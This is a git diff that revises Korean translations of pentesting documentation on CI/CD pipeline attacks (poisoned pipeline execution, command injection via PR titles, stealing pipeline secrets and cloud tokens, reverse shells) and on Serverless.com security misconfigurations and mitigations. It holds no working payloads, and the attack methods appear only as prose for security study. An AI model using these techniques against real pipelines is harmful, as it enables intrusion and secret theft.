-- **자격 증명**: 사용자 이름+비밀번호, 개인 토큰, ssh 키, Oauth 토큰, 쿠키... 사용자가 레포에 접근하기 위해 훔칠 수 있는 여러 종류의 토큰이 있습니다.
+- **SSO**: 일부 플랫폼은 사용자가 등록하는 것을 허용하지 않지만, 유효한 SSO로 접근하는 것은 허용합니다(예: 공격자가 자신의 github 계정을 사용하여 접근할 수 있습니다).
+- **자격 증명**: 사용자 이름+비밀번호, 개인 토큰, ssh 키, Oauth 토큰, 쿠키... 사용자가 어떤 방식으로든 레포에 접근하기 위해 훔칠 수 있는 여러 종류의 토큰이 있습니다.
- **웹훅**: VCS 플랫폼은 웹훅 생성을 허용합니다. 만약 이들이 **보이지 않는 비밀**로 **보호되지 않는다면**, **공격자가 이를 악용할 수 있습니다**.
- 비밀이 없다면, 공격자는 제3자 플랫폼의 웹훅을 악용할 수 있습니다.
- 비밀이 URL에 있다면, 동일한 일이 발생하며 공격자는 비밀을 가집니다.
- **코드 손상:** 악의적인 행위자가 레포에 대해 어떤 종류의 **쓰기** 접근 권한을 가지고 있다면, 그는 **악성 코드를 주입**하려고 시도할 수 있습니다. 성공하기 위해 그는 **브랜치 보호를 우회**해야 할 수도 있습니다. 이러한 행동은 다양한 목표를 가지고 수행될 수 있습니다:
-- 메인 브랜치를 손상시켜 **프로덕션을 손상**시키기 위해.
-- 메인(또는 다른 브랜치)을 손상시켜 **개발자 머신을 손상**시키기 위해(개발자들은 보통 자신의 머신에서 테스트, terraform 또는 다른 작업을 실행합니다).
-- **파이프라인 손상** (다음 섹션 참조)
+ - 메인 브랜치를 손상시켜 **프로덕션을 손상**시키기.
+ - 메인(또는 다른 브랜치)을 손상시켜 **개발자 머신을 손상**시키기(개발자들이 보통 테스트, 테라폼 또는 다른 작업을 자신의 머신에서 실행하기 때문).
+ - **파이프라인 손상**(다음 섹션 참조)
## Pipelines Pentesting Methodology
파이프라인을 정의하는 가장 일반적인 방법은 **레포지토리에 호스팅된 CI 구성 파일**을 사용하는 것입니다. 이 파일은 실행되는 작업의 순서, 흐름에 영향을 미치는 조건 및 빌드 환경 설정을 설명합니다.\
-이 파일들은 일반적으로 일관된 이름과 형식을 가지며, 예를 들어 — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), 및 .github/workflows 아래에 위치한 GitHub Actions YAML 파일이 있습니다. 트리거되면, 파이프라인 작업은 선택된 소스(예: 커밋/브랜치)에서 **코드를 가져오고**, **CI 구성 파일에 지정된 명령을 해당 코드에 대해 실행**합니다.
+이 파일들은 일반적으로 일관된 이름과 형식을 가지며, 예를 들어 — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), 및 .github/workflows 아래에 위치한 GitHub Actions YAML 파일이 있습니다. 트리거되면, 파이프라인 작업은 선택된 소스(예: 커밋 / 브랜치)에서 **코드를 가져오고**, **CI 구성 파일에 지정된 명령을 해당 코드에 대해 실행**합니다.
따라서 공격자의 궁극적인 목표는 어떤 식으로든 **이 구성 파일을 손상시키거나** **그들이 실행하는 명령을 손상시키는 것**입니다.
@@ -61,22 +61,22 @@ Poisoned Pipeline Execution (PPE) 경로는 SCM 레포지토리의 권한을 악
PPE에는 3가지 변형이 있습니다:
- **D-PPE**: **직접 PPE** 공격은 행위자가 **실행될 CI 구성** 파일을 **수정**할 때 발생합니다.
-- **I-DDE**: **간접 PPE** 공격은 행위자가 **실행될 CI 구성 파일이 의존하는** **파일**을 **수정**할 때 발생합니다(예: make 파일 또는 terraform 구성).
-- **공개 PPE 또는 3PE**: 경우에 따라 파이프라인은 **레포에 쓰기 접근 권한이 없는 사용자**에 의해 **트리거될 수 있습니다**(그리고 그들은 조직의 일원이 아닐 수도 있습니다) 왜냐하면 그들이 PR을 보낼 수 있기 때문입니다.
-- **3PE 명령 주입**: 일반적으로 CI/CD 파이프라인은 **PR에 대한 정보**로 **환경 변수를 설정**합니다. 만약 그 값이 공격자에 의해 제어될 수 있다면(예: PR의 제목) 그리고 **위험한 장소**에서 **사용**된다면(예: **sh 명령 실행**), 공격자는 **거기에 명령을 주입할 수 있습니다**.
+- **I-DDE**: **간접 PPE** 공격은 행위자가 **실행될 CI 구성 파일이 의존하는** **파일**을 **수정**할 때 발생합니다(예: 메이크 파일 또는 테라폼 구성).
+- **공개 PPE 또는 3PE**: 경우에 따라 파이프라인은 **레포에 쓰기 접근 권한이 없는 사용자**에 의해 **트리거될 수 있습니다**(그들이 PR을 보낼 수 있기 때문).
+- **3PE 명령 주입**: 일반적으로 CI/CD 파이프라인은 **PR에 대한 정보로** **환경 변수를 설정**합니다. 만약 그 값이 공격자에 의해 제어될 수 있고(예: PR의 제목) **위험한 장소에서 사용**된다면(예: **sh 명령 실행**), 공격자는 **거기에 명령을 주입할 수 있습니다**.
### Exploitation Benefits
-파이프라인을 오염시키는 3가지 변형을 알고 나면, 공격자가 성공적인 악용 후에 얻을 수 있는 것들을 살펴보겠습니다:
+파이프라인을 오염시키는 3가지 변형을 알고 나면, 공격자가 성공적인 악용 후 얻을 수 있는 것들을 살펴보겠습니다:
-- **비밀**: 앞서 언급했듯이, 파이프라인은 작업을 수행하기 위해 **권한**이 필요하며(코드를 검색하고, 빌드하고, 배포하는 등) 이러한 권한은 보통 **비밀**로 부여됩니다. 이러한 비밀은 보통 **환경 변수나 시스템 내 파일을 통해 접근**할 수 있습니다. 따라서 공격자는 항상 가능한 한 많은 비밀을 유출하려고 할 것입니다.
+- **비밀**: 앞서 언급했듯이, 파이프라인은 작업을 수행하기 위해 **권한**이 필요하며(코드를 검색하고, 빌드하고, 배포하는 등), 이러한 권한은 보통 **비밀로 부여됩니다**. 이러한 비밀은 일반적으로 **환경 변수나 시스템 내 파일을 통해 접근할 수 있습니다**. 따라서 공격자는 항상 가능한 한 많은 비밀을 유출하려고 할 것입니다.
- 파이프라인 플랫폼에 따라 공격자는 **구성에서 비밀을 지정해야 할 수도 있습니다**. 이는 공격자가 CI 구성 파이프라인을 수정할 수 없다면(**I-PPE** 예를 들어), 그는 **그 파이프라인이 가진 비밀만 유출할 수 있다는 것을 의미합니다**.
- **계산**: 코드는 어딘가에서 실행되며, 실행되는 위치에 따라 공격자는 더 나아가서 피벗할 수 있습니다.
- **온프레미스**: 파이프라인이 온프레미스에서 실행된다면, 공격자는 **더 많은 리소스에 접근할 수 있는 내부 네트워크에 도달할 수 있습니다**.
-- **클라우드**: 공격자는 **클라우드의 다른 머신에 접근할 수 있지만**, 또한 **IAM 역할/서비스 계정의** **토큰을 유출**하여 **클라우드 내에서 추가 접근을 얻을 수 있습니다**.
+- **클라우드**: 공격자는 **클라우드의 다른 머신에 접근할 수 있지만**, 또한 **IAM 역할/서비스 계정의 토큰을 유출**하여 **클라우드 내에서 추가 접근을 얻을 수 있습니다**.
- **플랫폼 머신**: 때때로 작업은 **파이프라인 플랫폼 머신 내에서 실행**되며, 이는 보통 **더 이상의 접근이 없는 클라우드 내에 있습니다**.
-- **선택하기:** 때때로 **파이프라인 플랫폼은 여러 머신을 구성**하고 있으며, 만약 CI 구성 파일을 **수정할 수 있다면**, 악성 코드를 실행할 위치를 **지정할 수 있습니다**. 이 상황에서 공격자는 아마도 각 가능한 머신에서 리버스 셸을 실행하여 더 나아가서 악용하려고 할 것입니다.
-- **프로덕션 손상**: 만약 당신이 파이프라인 내에 있고 최종 버전이 그로부터 빌드되고 배포된다면, 당신은 **프로덕션에서 실행될 코드에 손상을 줄 수 있습니다**.
+- **선택**: 때때로 **파이프라인 플랫폼은 여러 머신을 구성**하고 있으며, 만약 CI 구성 파일을 **수정할 수 있다면**, 악성 코드를 실행할 위치를 **지정할 수 있습니다**. 이 경우, 공격자는 아마도 각 가능한 머신에서 리버스 쉘을 실행하여 더 나아가서 악용하려고 할 것입니다.
+- **프로덕션 손상**: 만약 당신이 파이프라인 내에 있고 최종 버전이 그로부터 빌드되고 배포된다면, 당신은 **프로덕션에서 실행될 코드를 손상시킬 수 있습니다**.
## More relevant info
@@ -90,7 +90,7 @@ Cider에 따르면 상위 10개 CI/CD 위험에 대한 흥미로운 기사를
### Labs
-- 로컬에서 실행할 수 있는 각 플랫폼에서 로컬로 실행하는 방법을 찾아 원하는 대로 구성하여 테스트할 수 있습니다.
+- 로컬에서 실행할 수 있는 각 플랫폼에서 로컬로 실행하는 방법을 찾아서 원하는 대로 구성하여 테스트할 수 있습니다.
- Gitea + Jenkins 실험실: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
### Automatic Tools
diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md
index b15b75d6a..500af5066 100644
--- a/src/pentesting-ci-cd/serverless.com-security.md
+++ b/src/pentesting-ci-cd/serverless.com-security.md
@@ -14,7 +14,7 @@
### 애플리케이션
-**앱**은 조직 내 관련 서비스의 논리적 그룹화입니다. 이는 여러 서버리스 서비스로 구성된 완전한 애플리케이션을 나타내며, 이 서비스들은 함께 작동하여 일관된 기능을 제공합니다.
+**앱**은 조직 내에서 관련 서비스의 논리적 그룹화입니다. 이는 여러 서버리스 서비스로 구성된 완전한 애플리케이션을 나타내며, 이 서비스들은 함께 작동하여 일관된 기능을 제공합니다.
### **서비스**
@@ -98,7 +98,7 @@ WriteCapacityUnits: 1
**Provider** 객체는 클라우드 서비스 제공업체(예: AWS, Azure, Google Cloud)를 지정하고 해당 제공업체와 관련된 구성 설정을 포함합니다.
-여기에는 런타임, 지역, 단계 및 자격 증명과 같은 세부 정보가 포함됩니다.
+런타임, 지역, 단계 및 자격 증명과 같은 세부정보를 포함합니다.
```yaml
yamlCopy codeprovider:
name: aws
@@ -128,7 +128,7 @@ region: us-west-2
플러그인
-**플러그인**은 새로운 기능을 추가하거나 다른 도구 및 서비스와 통합하여 Serverless Framework의 기능을 확장합니다. 이들은 `plugins` 섹션 아래에 정의되며 npm을 통해 설치됩니다.
+**플러그인**은 새로운 기능을 추가하거나 다른 도구 및 서비스와 통합하여 Serverless Framework의 기능을 확장합니다. 이들은 `plugins` 섹션에 정의되며 npm을 통해 설치됩니다.
```yaml
plugins:
- serverless-offline
@@ -138,9 +138,9 @@ plugins:
-Layers
+레이어
-**Layers**는 공유 코드나 종속성을 함수와 별도로 패키징하고 관리할 수 있게 해줍니다. 이는 재사용성을 촉진하고 배포 패키지 크기를 줄입니다. 이들은 `layers` 섹션 아래에 정의되며 함수에서 참조됩니다.
+**레이어**는 공유 코드 또는 종속성을 함수와 별도로 패키징하고 관리할 수 있게 해줍니다. 이는 재사용성을 촉진하고 배포 패키지 크기를 줄입니다. 레이어는 `layers` 섹션 아래에 정의되며 함수에서 참조됩니다.
```yaml
layers:
commonLibs:
@@ -157,7 +157,7 @@ layers:
변수 및 사용자 정의 변수
-**변수**는 배포 시점에 해결되는 플레이스홀더를 사용하여 동적 구성을 가능하게 합니다.
+**변수**는 배포 시 해결되는 자리 표시자를 사용하여 동적 구성을 가능하게 합니다.
- **구문:** `${variable}` 구문은 환경 변수, 파일 내용 또는 기타 구성 매개변수를 참조할 수 있습니다.
@@ -169,7 +169,7 @@ environment:
TABLE_NAME: ${self:custom.tableName}
```
-* **사용자 정의 변수:** `custom` 섹션은 `serverless.yml` 전반에 걸쳐 재사용할 수 있는 사용자 지정 변수 및 구성을 정의하는 데 사용됩니다.
+* **사용자 정의 변수:** `custom` 섹션은 `serverless.yml` 전반에 걸쳐 재사용할 수 있는 사용자 특정 변수 및 구성을 정의하는 데 사용됩니다.
```yaml
custom:
@@ -183,7 +183,7 @@ stage: ${opt:stage, 'dev'}
출력
-**출력**은 서비스가 배포된 후 반환되는 값들을 정의하며, 리소스 ARN, 엔드포인트 또는 기타 유용한 정보가 포함됩니다. 이들은 `outputs` 섹션 아래에 지정되며, 다른 서비스에 정보를 노출하거나 배포 후 쉽게 접근할 수 있도록 자주 사용됩니다.
+**출력**은 서비스가 배포된 후 반환되는 값들을 정의하며, 리소스 ARN, 엔드포인트 또는 기타 유용한 정보가 포함됩니다. 이들은 `outputs` 섹션 아래에 지정되며, 종종 다른 서비스에 정보를 노출하거나 배포 후 쉽게 접근할 수 있도록 사용됩니다.
```yaml
¡outputs:
ApiEndpoint:
@@ -226,7 +226,7 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-
환경 변수
-**변수**는 하드코딩하지 않고 구성 설정 및 비밀을 함수에 전달할 수 있게 해줍니다. 이들은 제공자 또는 개별 함수의 `environment` 섹션 아래에 정의됩니다.
+**변수**는 하드코딩하지 않고도 구성 설정 및 비밀을 함수에 전달할 수 있게 해줍니다. 이들은 제공자 또는 개별 함수의 `environment` 섹션 아래에 정의됩니다.
```yaml
provider:
environment:
@@ -243,7 +243,7 @@ TABLE_NAME: ${self:custom.tableName}
종속성
-**종속성**은 함수가 필요로 하는 외부 라이브러리와 모듈을 관리합니다. 일반적으로 npm이나 pip와 같은 패키지 관리자를 통해 처리되며, `serverless-webpack`과 같은 도구나 플러그인을 사용하여 배포 패키지와 함께 번들됩니다.
+**종속성**은 함수에 필요한 외부 라이브러리와 모듈을 관리합니다. 일반적으로 npm 또는 pip와 같은 패키지 관리자를 통해 처리되며, `serverless-webpack`과 같은 도구나 플러그인을 사용하여 배포 패키지와 함께 번들됩니다.
```yaml
plugins:
- serverless-webpack
@@ -252,9 +252,9 @@ plugins:
-Hooks
+후크
-**Hooks**는 배포 생애 주기의 특정 지점에서 사용자 정의 스크립트나 명령을 실행할 수 있게 해줍니다. 이들은 플러그인을 사용하거나 `serverless.yml` 내에서 정의되어 배포 전후에 작업을 수행합니다.
+**후크**는 배포 생애 주기의 특정 지점에서 사용자 정의 스크립트나 명령을 실행할 수 있게 해줍니다. 이들은 플러그인을 사용하거나 `serverless.yml` 내에서 정의되어 배포 전후에 작업을 수행합니다.
```yaml
custom:
hooks:
@@ -262,13 +262,13 @@ before:deploy:deploy: echo "Starting deployment..."
```
-### Tutorial
+### 튜토리얼
-이것은 공식 튜토리얼 [**문서에서**](https://www.serverless.com/framework/docs/tutorial)의 요약입니다:
+이것은 공식 튜토리얼의 요약입니다 [**문서에서**](https://www.serverless.com/framework/docs/tutorial):
-1. AWS 계정을 생성합니다 (Serverless.com은 AWS 인프라에서 시작합니다)
-2. serverless.com에 계정을 생성합니다
-3. 앱을 생성합니다:
+1. AWS 계정 생성 (Serverless.com은 AWS 인프라에서 시작)
+2. serverless.com에 계정 생성
+3. 앱 생성:
```bash
# Create temp folder for the tutorial
mkdir /tmp/serverless-tutorial
@@ -284,7 +284,7 @@ serverless #Choose first one (AWS / Node.js / HTTP API)
## Create A New App
## Indicate a name like "tutorialapp)
```
-이것은 **app** `tutorialapp`을 생성했어야 하며, [serverless.com](serverless.com-security.md)에서 확인할 수 있고, `helloworld` 코드가 포함된 JS 코드가 있는 **`handler.js`** 파일과 해당 함수를 선언하는 **`serverless.yml`** 파일이 있는 `Tutorial`이라는 폴더를 생성했어야 합니다:
+이것은 **app**인 `tutorialapp`을 생성했어야 하며, [serverless.com](serverless.com-security.md)에서 확인할 수 있고, `helloworld` 코드가 포함된 JS 코드가 있는 **`handler.js`** 파일과 해당 함수를 선언하는 **`serverless.yml`** 파일이 있는 `Tutorial`이라는 폴더를 생성했어야 합니다:
{{#tabs }}
{{#tab name="handler.js" }}
@@ -323,9 +323,9 @@ method: get
{{#endtab }}
{{#endtabs }}
-4. AWS 공급자를 생성하려면 `https://app.serverless.com//settings/providers?providerId=new&provider=aws`의 **대시보드**로 이동합니다.
-1. `serverless.com`에 AWS 접근 권한을 부여하기 위해 이 구성 파일을 사용하여 클라우드포메이션 스택을 실행하라는 요청이 있습니다(이 글을 작성할 당시): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
-2. 이 템플릿은 **`SFRole-`**라는 역할을 생성하며, **`arn:aws:iam::aws:policy/AdministratorAccess`**를 통해 `Serverless.com` AWS 계정이 역할에 접근할 수 있도록 허용하는 신뢰 ID를 가진 계정에 대해 설정됩니다.
+4. **대시보드**에서 AWS 공급자를 생성합니다: `https://app.serverless.com//settings/providers?providerId=new&provider=aws`.
+1. `serverless.com`에 AWS 접근 권한을 부여하기 위해, 이 구성 파일을 사용하여 클라우드포메이션 스택을 실행하라는 요청이 있습니다 (이 글을 작성할 당시): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
+2. 이 템플릿은 **`SFRole-`**라는 역할을 생성하며, **`arn:aws:iam::aws:policy/AdministratorAccess`**를 통해 `Serverless.com` AWS 계정이 역할에 접근할 수 있도록 허용하는 신뢰 ID를 갖습니다.
@@ -481,11 +481,11 @@ TableName: ${self:service}-customerTable-${sls:stage}
{{#endtab }}
{{#endtabs }}
-6. **`serverless deploy`**를 실행하여 배포합니다.
+6. **`serverless deploy`** 명령어로 배포합니다.
1. 배포는 CloudFormation Stack을 통해 수행됩니다.
2. **람다 함수는 직접 URL이 아닌 API 게이트웨이를 통해 노출됩니다.**
7. **테스트합니다.**
-1. 이전 단계에서는 API 엔드포인트 람다 함수가 배포된 **URL**이 출력됩니다.
+1. 이전 단계에서는 API 엔드포인트 람다 함수가 배포된 **URL**을 출력합니다.
## Serverless.com의 보안 검토
@@ -545,14 +545,14 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-
---
-### **불안전한 비밀 및 구성 관리**
+### **안전하지 않은 비밀 및 구성 관리**
민감한 정보(예: API 키, 데이터베이스 자격 증명)를 **`serverless.yml`** 또는 코드에 직접 저장하면 리포지토리가 손상될 경우 노출될 수 있습니다.
-**추천되는** 방법은 serverless.com의 **`serverless.yml`** 파일에서 환경 변수를 저장하기 위해 `ssm` 또는 `s3` 공급자를 사용하는 것입니다. 이는 **배포 시 이러한 소스에서 환경 값을 가져오고** **lambdas** 환경 변수를 **값이 없는 텍스트로 구성**할 수 있게 해줍니다!
+**추천되는** 방법은 serverless.com의 **`serverless.yml`** 파일에서 환경 변수를 저장하는 것으로, `ssm` 또는 `s3` 공급자를 사용하여 **배포 시 이러한 소스에서 환경 값을 가져오고** **lambdas** 환경 변수를 **값이 없는 텍스트로 구성**하는 것입니다!
> [!CAUTION]
-> 따라서 AWS 내에서 lambdas 구성을 읽을 수 있는 권한이 있는 사람은 **이 모든 환경 변수를 평문으로 접근할 수 있습니다!**
+> 따라서 AWS 내에서 lambdas 구성을 읽을 수 있는 권한이 있는 사람은 **모든 이러한 환경 변수를 평문으로 접근할 수 있습니다!**
예를 들어, 다음 예제는 SSM을 사용하여 환경 변수를 가져옵니다:
```yaml
@@ -560,26 +560,26 @@ provider:
environment:
DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true}
```
-And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **added in clear text inside the lambda environment variable**.
+그리고 이것이 **`serverless.yml`** 파일에 환경 변수 값을 하드코딩하는 것을 방지하더라도, 값은 배포 시점에 얻어지며 **람다 환경 변수 안에 평문으로 추가됩니다**.
> [!TIP]
-> The recommended way to store environment variables using serveless.com would be to **store it in a AWS secret** and just store the secret name in the environment variable and the **lambda code should gather it**.
+> serveless.com을 사용하여 환경 변수를 저장하는 권장 방법은 **AWS 비밀에 저장**하고 비밀 이름만 환경 변수에 저장하며 **람다 코드가 이를 수집해야 합니다**.
-#### **Mitigation Strategies**
+#### **완화 전략**
-- **Secrets Manager Integration:** Use services like **AWS Secrets Manager.**
-- **Encrypted Variables:** Leverage Serverless Framework’s encryption features for sensitive data.
-- **Access Controls:** Restrict access to secrets based on roles.
+- **비밀 관리자 통합:** **AWS Secrets Manager**와 같은 서비스를 사용합니다.
+- **암호화된 변수:** 민감한 데이터에 대해 Serverless Framework의 암호화 기능을 활용합니다.
+- **접근 제어:** 역할에 따라 비밀에 대한 접근을 제한합니다.
---
-### **Vulnerable Code and Dependencies**
+### **취약한 코드 및 종속성**
-Outdated or insecure dependencies can introduce vulnerabilities, while improper input handling may lead to code injection attacks.
+구식 또는 안전하지 않은 종속성은 취약점을 도입할 수 있으며, 부적절한 입력 처리는 코드 주입 공격으로 이어질 수 있습니다.
-#### **Mitigation Strategies**
+#### **완화 전략**
-- **Dependency Management:** Regularly update dependencies and scan for vulnerabilities.
+- **종속성 관리:** 종속성을 정기적으로 업데이트하고 취약점을 스캔합니다.
```yaml
plugins:
@@ -587,38 +587,38 @@ plugins:
- serverless-plugin-snyk
```
-- **Input Validation:** Implement strict validation and sanitization of all inputs.
-- **Code Reviews:** Conduct thorough reviews to identify security flaws.
-- **Static Analysis:** Use tools to detect vulnerabilities in the codebase.
+- **입력 검증:** 모든 입력에 대해 엄격한 검증 및 정화를 구현합니다.
+- **코드 리뷰:** 보안 결함을 식별하기 위해 철저한 리뷰를 수행합니다.
+- **정적 분석:** 코드베이스의 취약점을 감지하기 위해 도구를 사용합니다.
---
-### **Inadequate Logging and Monitoring**
+### **부적절한 로깅 및 모니터링**
-Without proper logging and monitoring, malicious activities may go undetected, delaying incident response.
+적절한 로깅 및 모니터링이 없으면 악의적인 활동이 감지되지 않을 수 있으며, 사건 대응이 지연될 수 있습니다.
-#### **Mitigation Strategies**
+#### **완화 전략**
-- **Centralized Logging:** Aggregate logs using services like **AWS CloudWatch** or **Datadog**.
+- **중앙 집중식 로깅:** **AWS CloudWatch** 또는 **Datadog**와 같은 서비스를 사용하여 로그를 집계합니다.
```yaml
plugins:
- serverless-plugin-datadog
```
-- **Enable Detailed Logging:** Capture essential information without exposing sensitive data.
-- **Set Up Alerts:** Configure alerts for suspicious activities or anomalies.
-- **Regular Monitoring:** Continuously monitor logs and metrics for potential security incidents.
+- **상세 로깅 활성화:** 민감한 데이터를 노출하지 않으면서 필수 정보를 캡처합니다.
+- **알림 설정:** 의심스러운 활동이나 이상 징후에 대한 알림을 구성합니다.
+- **정기 모니터링:** 잠재적인 보안 사건에 대해 로그 및 메트릭을 지속적으로 모니터링합니다.
---
-### **Insecure API Gateway Configurations**
+### **불안전한 API 게이트웨이 구성**
-Open or improperly secured APIs can be exploited for unauthorized access, Denial of Service (DoS) attacks, or cross-site attacks.
+열려 있거나 부적절하게 보호된 API는 무단 접근, 서비스 거부(DoS) 공격 또는 교차 사이트 공격에 악용될 수 있습니다.
-#### **Mitigation Strategies**
+#### **완화 전략**
-- **Authentication and Authorization:** Implement robust mechanisms like OAuth, API keys, or JWT.
+- **인증 및 권한 부여:** OAuth, API 키 또는 JWT와 같은 강력한 메커니즘을 구현합니다.
```yaml
functions:
@@ -631,7 +631,7 @@ method: get
authorizer: aws_iam
```
-- **Rate Limiting and Throttling:** Prevent abuse by limiting request rates.
+- **요청 속도 제한 및 조절:** 요청 속도를 제한하여 남용을 방지합니다.
```yaml
provider:
@@ -641,7 +641,7 @@ burstLimit: 200
rateLimit: 100
```
-- **Secure CORS Configuration:** Restrict allowed origins, methods, and headers.
+- **안전한 CORS 구성:** 허용된 출처, 메서드 및 헤더를 제한합니다.
```yaml
functions:
@@ -657,19 +657,19 @@ headers:
- Content-Type
```
-- **Use Web Application Firewalls (WAF):** Filter and monitor HTTP requests for malicious patterns.
+- **웹 애플리케이션 방화벽(WAF) 사용:** 악의적인 패턴에 대해 HTTP 요청을 필터링하고 모니터링합니다.
---
-### **Insufficient Function Isolation**
+### **불충분한 함수 격리**
-Shared resources and inadequate isolation can lead to privilege escalations or unintended interactions between functions.
+공유 리소스와 불충분한 격리는 권한 상승 또는 함수 간의 의도하지 않은 상호작용을 초래할 수 있습니다.
-#### **Mitigation Strategies**
+#### **완화 전략**
-- **Isolate Functions:** Assign distinct resources and IAM roles to ensure independent operation.
-- **Resource Partitioning:** Use separate databases or storage buckets for different functions.
-- **Use VPCs:** Deploy functions within Virtual Private Clouds for enhanced network isolation.
+- **함수 격리:** 독립적인 작동을 보장하기 위해 고유한 리소스 및 IAM 역할을 할당합니다.
+- **리소스 분할:** 서로 다른 함수에 대해 별도의 데이터베이스 또는 저장소 버킷을 사용합니다.
+- **VPC 사용:** 향상된 네트워크 격리를 위해 가상 사설 클라우드 내에서 함수를 배포합니다.
```yaml
provider:
@@ -680,17 +680,17 @@ subnetIds:
- subnet-xxxxxx
```
-- **Limit Function Permissions:** Ensure functions cannot access or interfere with each other’s resources unless explicitly required.
+- **함수 권한 제한:** 함수가 명시적으로 요구되지 않는 한 서로의 리소스에 접근하거나 간섭할 수 없도록 합니다.
---
-### **Inadequate Data Protection**
+### **불충분한 데이터 보호**
-Unencrypted data at rest or in transit can be exposed, leading to data breaches or tampering.
+정지 상태 또는 전송 중 암호화되지 않은 데이터는 노출될 수 있으며, 데이터 유출 또는 변조로 이어질 수 있습니다.
-#### **Mitigation Strategies**
+#### **완화 전략**
-- **Encrypt Data at Rest:** Utilize cloud service encryption features.
+- **정지 상태 데이터 암호화:** 클라우드 서비스 암호화 기능을 활용합니다.
```yaml
resources:
@@ -702,25 +702,25 @@ SSESpecification:
SSEEnabled: true
```
-- **Encrypt Data in Transit:** Use HTTPS/TLS for all data transmissions.
-- **Secure API Communication:** Enforce encryption protocols and validate certificates.
-- **Manage Encryption Keys Securely:** Use managed key services and rotate keys regularly.
+- **전송 중 데이터 암호화:** 모든 데이터 전송에 대해 HTTPS/TLS를 사용합니다.
+- **API 통신 보안:** 암호화 프로토콜을 시행하고 인증서를 검증합니다.
+- **암호화 키를 안전하게 관리:** 관리형 키 서비스를 사용하고 키를 정기적으로 교체합니다.
---
-### **Lack of Proper Error Handling**
+### **적절한 오류 처리 부족**
-Detailed error messages can leak sensitive information about the infrastructure or codebase, while unhandled exceptions may lead to application crashes.
+상세한 오류 메시지는 인프라 또는 코드베이스에 대한 민감한 정보를 유출할 수 있으며, 처리되지 않은 예외는 애플리케이션 충돌로 이어질 수 있습니다.
-#### **Mitigation Strategies**
+#### **완화 전략**
-- **Generic Error Messages:** Avoid exposing internal details in error responses.
+- **일반 오류 메시지:** 오류 응답에서 내부 세부 정보를 노출하지 않도록 합니다.
```javascript
-javascriptCopy code// Example in Node.js
+javascriptCopy code// Node.js의 예
exports.hello = async (event) => {
try {
-// Function logic
+// 함수 로직
} catch (error) {
console.error(error);
return {
@@ -731,78 +731,78 @@ body: JSON.stringify({ message: 'Internal Server Error' }),
};
```
-- **Centralized Error Handling:** Manage and sanitize errors consistently across all functions.
-- **Monitor and Log Errors:** Track and analyze errors internally without exposing details to end-users.
+- **중앙 집중식 오류 처리:** 모든 함수에서 오류를 일관되게 관리하고 정화합니다.
+- **오류 모니터링 및 로깅:** 세부 정보를 최종 사용자에게 노출하지 않고 내부적으로 오류를 추적하고 분석합니다.
---
-### **Insecure Deployment Practices**
+### **불안전한 배포 관행**
-Exposed deployment configurations or unauthorized access to CI/CD pipelines can lead to malicious code deployments or misconfigurations.
+노출된 배포 구성 또는 CI/CD 파이프라인에 대한 무단 접근은 악의적인 코드 배포 또는 잘못된 구성을 초래할 수 있습니다.
-#### **Mitigation Strategies**
+#### **완화 전략**
-- **Secure CI/CD Pipelines:** Implement strict access controls, multi-factor authentication (MFA), and regular audits.
-- **Store Configuration Securely:** Keep deployment files free from hardcoded secrets and sensitive data.
-- **Use Infrastructure as Code (IaC) Security Tools:** Employ tools like **Checkov** or **Terraform Sentinel** to enforce security policies.
-- **Immutable Deployments:** Prevent unauthorized changes post-deployment by adopting immutable infrastructure practices.
+- **CI/CD 파이프라인 보안:** 엄격한 접근 제어, 다단계 인증(MFA) 및 정기 감사 구현합니다.
+- **구성을 안전하게 저장:** 배포 파일에서 하드코딩된 비밀 및 민감한 데이터를 제거합니다.
+- **코드로서의 인프라(IaC) 보안 도구 사용:** **Checkov** 또는 **Terraform Sentinel**과 같은 도구를 사용하여 보안 정책을 시행합니다.
+- **불변 배포:** 불변 인프라 관행을 채택하여 배포 후 무단 변경을 방지합니다.
---
-### **Vulnerabilities in Plugins and Extensions**
+### **플러그인 및 확장 프로그램의 취약점**
-Using unvetted or malicious third-party plugins can introduce vulnerabilities into your serverless applications.
+검증되지 않거나 악의적인 제3자 플러그인을 사용하면 서버리스 애플리케이션에 취약점을 도입할 수 있습니다.
-#### **Mitigation Strategies**
+#### **완화 전략**
-- **Vet Plugins Thoroughly:** Assess the security of plugins before integration, favoring those from reputable sources.
-- **Limit Plugin Usage:** Use only necessary plugins to minimize the attack surface.
-- **Monitor Plugin Updates:** Keep plugins updated to benefit from security patches.
-- **Isolate Plugin Environments:** Run plugins in isolated environments to contain potential compromises.
+- **플러그인 철저 검토:** 통합 전에 플러그인의 보안을 평가하고 평판이 좋은 출처의 플러그인을 선호합니다.
+- **플러그인 사용 제한:** 공격 표면을 최소화하기 위해 필요한 플러그인만 사용합니다.
+- **플러그인 업데이트 모니터링:** 보안 패치를 활용하기 위해 플러그인을 최신 상태로 유지합니다.
+- **플러그인 환경 격리:** 잠재적인 손상을 방지하기 위해 플러그인을 격리된 환경에서 실행합니다.
---
-### **Exposure of Sensitive Endpoints**
+### **민감한 엔드포인트 노출**
-Publicly accessible functions or unrestricted APIs can be exploited for unauthorized operations.
+공개적으로 접근 가능한 함수 또는 제한 없는 API는 무단 작업에 악용될 수 있습니다.
-#### **Mitigation Strategies**
+#### **완화 전략**
-- **Restrict Function Access:** Use VPCs, security groups, and firewall rules to limit access to trusted sources.
-- **Implement Robust Authentication:** Ensure all exposed endpoints require proper authentication and authorization.
-- **Use API Gateways Securely:** Configure API Gateways to enforce security policies, including input validation and rate limiting.
-- **Disable Unused Endpoints:** Regularly review and disable any endpoints that are no longer in use.
